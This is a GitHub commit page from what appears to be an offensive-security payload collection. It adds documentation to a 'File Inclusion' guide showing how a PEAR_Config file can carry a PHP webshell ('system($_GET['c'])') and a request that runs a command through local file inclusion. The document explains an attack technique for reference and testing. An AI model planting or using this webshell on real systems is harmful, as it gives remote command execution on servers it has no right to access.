Skip to content

Commit

Permalink
PEAR_Config example
Browse files Browse the repository at this point in the history
  • Loading branch information
swisskyrepo committed Oct 2, 2023
1 parent 837f220 commit 892c68e
Show file tree
Hide file tree
Showing 4 changed files with 7 additions and 0 deletions.
File renamed without changes.
File renamed without changes.
File renamed without changes.
7 changes: 7 additions & 0 deletions File Inclusion/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -520,6 +520,13 @@ There are two ways to exploit it.
/vuln.php?file=/tmp/exec.php&c=id
```

The created configuration file contains the webshell.

```php
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
```


## LFI to RCE via credentials files

Expand Down

0 comments on commit 892c68e

Please sign in to comment.